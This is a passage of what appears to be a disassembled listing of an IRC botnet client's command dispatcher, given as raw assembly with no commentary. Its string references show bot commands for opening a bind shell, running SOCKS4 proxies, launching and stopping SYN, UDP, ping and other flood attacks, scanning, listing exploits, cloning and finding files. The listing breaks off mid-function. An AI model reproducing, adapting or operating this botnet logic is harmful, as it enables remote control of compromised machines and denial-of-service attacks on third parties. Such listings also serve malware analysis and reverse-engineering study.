		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41C850
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_402340
; ---------------------------------------------------------------------------


loc_40233A:				; CODE XREF: sub_401ACD+833j
					; sub_401ACD+838j
		mov	esi, [ebp+var_AC]


loc_402340:				; CODE XREF: sub_401ACD+86Bj
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401F75
		push	edi
		push	offset dword_42CC74
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40238B
		mov	eax, dword_4CB888
		mov	eax, off_429160[eax*4]
		cmp	[eax], bl
		jz	short loc_40238B
		push	eax
		push	ecx
		push	offset dword_42CC58
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_40238B:				; CODE XREF: sub_401ACD+8A0j
					; sub_401ACD+8B0j
		push	edi
		push	offset dword_42CC50
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_402160
		push	eax
		push	ecx
		push	offset dword_42CC38
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4023CA:				; CODE XREF: sub_401ACD+7B9j
					; sub_401ACD+76B7j
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_42CBFC
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4023DB:				; CODE XREF: sub_401ACD+6DDj
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42CBB8


loc_4023EE:				; CODE XREF: sub_401ACD+7C19j
					; sub_401ACD+7C80j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_402402:				; CODE XREF: sub_401ACD+6D1j
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402551
		cmp	[ebp+var_A4], ebx
		jz	loc_40252A
		push	1Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_402519
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AAC]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_2914],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB4],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2994]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_290C],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2908],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CB90
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_2910],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB4]
		push	ebx
		push	eax
		push	offset dword_416000
		push	ebx
		push	ebx
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_2910]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_402508


loc_4024F2:				; CODE XREF: sub_401ACD+A39j
		cmp	[ebp+var_2904],	ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 269040Ah
		jmp	short loc_4024F2
; ---------------------------------------------------------------------------


loc_402508:				; CODE XREF: sub_401ACD+A23j
		call	near ptr 2690C56h
		nop
		push	eax
		push	offset unk_42CB58
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_402519:				; CODE XREF: sub_401ACD+966j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CB28
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40252A:				; CODE XREF: sub_401ACD+956j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CAF4
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40253B:				; CODE XREF: sub_401ACD+6B6j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401F75


loc_402551:				; CODE XREF: sub_401ACD+94Aj
		mov	edi, [edi]
		push	edi
		push	offset aC	; "c"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		push	edi
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025A2
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644


loc_4025A2:				; CODE XREF: sub_401ACD+AB9j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409644
		xor	edi, edi
		cmp	dword_4294CC, ebx
		jle	loc_402757
		mov	[ebp+arg_20], offset dword_43DB90


loc_4025C0:				; CODE XREF: sub_401ACD+B12j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4025E6
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4294CC
		jl	short loc_4025C0
		jmp	loc_402757
; ---------------------------------------------------------------------------


loc_4025E6:				; CODE XREF: sub_401ACD+B02j
		push	offset asc_42CDC4 ; " :"
		push	[ebp+arg_0]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43DBA8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_40263B:				; CODE XREF: sub_401ACD+C1Fj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026A7
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026A7
		lea	eax, dword_43DB90[edi]
		push	eax
		call	sub_41B9C0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026E2
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026E2
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch
		jmp	short loc_4026E2
; ---------------------------------------------------------------------------


loc_4026A7:				; CODE XREF: sub_401ACD+B96j
					; sub_401ACD+B9Dj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026E2
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 18h


loc_4026E2:				; CODE XREF: sub_401ACD+BAFj
					; sub_401ACD+BC3j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40263B
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_4026FF:				; CODE XREF: sub_401ACD+C7Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD	; "$%d"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_402742
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_402742
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch


loc_402742:				; CODE XREF: sub_401ACD+C5Aj
					; sub_401ACD+C60j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_4026FF
		mov	[ebp+var_2C8], 1


loc_402757:				; CODE XREF: sub_401ACD+AE6j
					; sub_401ACD+B14j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_402770
		cmp	[ebp+var_2C8], ebx
		jz	loc_402961


loc_402770:				; CODE XREF: sub_401ACD+C95j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_41843B
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_1	; "$user"
		push	edi
		call	sub_41843B
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_41843B
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_41843B
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_41843B
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h


loc_4027E2:				; CODE XREF: sub_401ACD+E0Dj
		test	eax, eax
		jz	loc_4028DF
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_A0]
		push	offset asc_42CAAC ; ")"
		push	eax
		call	sub_41CAD4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40282E
		cmp	[ebp+var_A0], 39h
		jle	short loc_402844


loc_40282E:				; CODE XREF: sub_401ACD+D56j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_402844:				; CODE XREF: sub_401ACD+D5Fj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	short loc_40286A
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40287E
; ---------------------------------------------------------------------------


loc_40286A:				; CODE XREF: sub_401ACD+D86j
		call	sub_41C2C2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40287E:				; CODE XREF: sub_401ACD+D9Bj
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41B9C0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 30h
		jmp	loc_4027E2
; ---------------------------------------------------------------------------


loc_4028DF:				; CODE XREF: sub_401ACD+D17j
		mov	edi, 1FFh
		lea	eax, [ebp+var_428C]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	edi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_4EF8]
		push	offset asc_42CDC0 ; " "
		push	eax
		call	sub_41CAD4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40292F:				; CODE XREF: sub_401ACD+E77j
		push	offset asc_42CDC0 ; " "
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40292F
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401F75
		add	ecx, 3
		mov	[eax], ecx


loc_402961:				; CODE XREF: sub_401ACD+C9Dj
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aRn	; "rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aLo	; "lo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aVersion	; "version"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aVer	; "ver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aRulez	; "rulez"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aRz	; "rz"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSt	; "st"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBd	; "bd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B0E
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CA08
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B0E:				; CODE XREF: sub_401ACD+1027j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aS4	; "s4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B61
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9E0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B61:				; CODE XREF: sub_401ACD+107Aj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B8A
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9C4
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B8A:				; CODE XREF: sub_401ACD+10A3j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB3
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9A8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BB3:				; CODE XREF: sub_401ACD+10CCj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BDC
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C994
		push	offset dword_42C988
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BDC:				; CODE XREF: sub_401ACD+10F5j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C05
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C968
		push	offset dword_42C958
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C05:				; CODE XREF: sub_401ACD+111Ej
		push	edi
		push	offset dword_42C94C
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C2E
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C940
		push	offset dword_42C934
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C2E:				; CODE XREF: sub_401ACD+1147j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C57
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C920
		push	offset dword_42C914
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C57:				; CODE XREF: sub_401ACD+1170j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C80
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C8F8
		push	offset dword_42C8E8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C80:				; CODE XREF: sub_401ACD+1199j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CA9
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C8CC
		push	offset dword_42C8BC
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CA9:				; CODE XREF: sub_401ACD+11C2j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD2
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C8A4
		push	offset dword_42C898
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CD2:				; CODE XREF: sub_401ACD+11EBj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E28
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C940
		push	offset dword_42C934
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	0Eh
		push	offset dword_42C920
		push	offset dword_42C914
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C880
		push	offset dword_42C874
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	16h
		push	offset dword_42C868
		push	offset dword_42C85C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C8CC
		push	offset dword_42C8BC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	12h
		push	offset dword_42C8A4
		push	offset dword_42C898
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C84C
		push	offset dword_42C83C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	13h
		push	offset dword_42C82C
		push	offset dword_42C81C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C8F8
		push	offset dword_42C8E8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C7E8
		push	[ebp+var_88]
		push	edi
		call	sub_409869
		add	esp, 34h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_402E28:				; CODE XREF: sub_401ACD+1214j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E51
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C84C
		push	offset dword_42C83C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E51:				; CODE XREF: sub_401ACD+136Aj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E7A
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C82C
		push	offset dword_42C81C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E7A:				; CODE XREF: sub_401ACD+1393j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA3
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C880
		push	offset dword_42C874
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EA3:				; CODE XREF: sub_401ACD+13BCj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ECC
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C868
		push	offset dword_42C85C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402ECC:				; CODE XREF: sub_401ACD+13E5j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EF5
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C7A0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EF5:				; CODE XREF: sub_401ACD+140Ej
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F72
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C750
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F72:				; CODE XREF: sub_401ACD+148Bj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F9B
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C72C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F9B:				; CODE XREF: sub_401ACD+14B4j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FC4
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C70C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402FC4:				; CODE XREF: sub_401ACD+14DDj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aStats	; "stats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aDc	; "dc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aQ	; "q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aStatus	; "status"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aS_0	; "s"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aId	; "id"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aI	; "i"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aR3start	; "r3start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403190
		call	sub_418884
		test	eax, eax
		mov	eax, offset unk_42C64C
		jnz	short loc_403162
		mov	eax, offset unk_42C628


loc_403162:				; CODE XREF: sub_401ACD+168Ej
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 1Ch
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_403190:				; CODE XREF: sub_401ACD+1680j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aT	; "t"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aAl	; "al"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aLog	; "log"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aLg	; "lg"
		call	sub_41CA50
		pop	ecx
